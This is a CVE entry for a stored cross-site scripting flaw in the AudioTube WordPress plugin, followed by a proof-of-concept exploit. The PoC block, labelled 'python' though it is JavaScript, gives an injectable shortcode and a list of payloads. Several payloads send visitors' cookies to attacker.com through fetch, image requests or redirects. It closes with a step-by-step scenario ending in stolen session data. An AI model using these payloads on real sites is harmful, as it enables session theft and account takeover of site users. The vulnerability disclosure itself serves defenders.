CVE-2025-11801

Description

The AudioTube plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'caption' shortcode attribute of the 'audiotube' shortcode in all versions up to, and including, 0.0.3. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

python

// CVE-2025-11801 PoC - AudioTube Plugin Stored XSS
// Author: Security Researcher
// Target: WordPress AudioTube Plugin <= 0.0.3

// Method 1: Via WordPress Shortcode (requires contributor+ access)
// Insert this shortcode into any post or page content:

[audiotube url='https://example.com/video.mp4' caption='<img src=x onerror=alert(document.cookie)>']

// Method 2: Direct payload examples
// The caption parameter accepts unsanitized HTML/JS
const payloads = [
    "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
    "<img src=x onerror=fetch('https://attacker.com/log?d='+document.domain)>",
    "<svg/onload=fetch('https://attacker.com/cookie?c='+btoa(document.cookie))>",
    "<body onload=document.location='https://attacker.com/xss?c='+document.cookie>",
    "<iframe src='javascript:alert(document.cookie)'>",
    "<script>new Image().src='https://attacker.com/?c='+document.cookie</script>"
];

// The injected script will execute for every user visiting the affected page
// No user interaction required once the content is published/approved

// Exploitation scenario:
// 1. Attacker with contributor access creates/edits post
// 2. Inserts malicious shortcode with XSS payload in caption attribute
// 3. Post is published (may require admin approval depending on user role)
// 4. Any user viewing the page executes the injected JavaScript
// 5. Attacker receives stolen cookies/session data
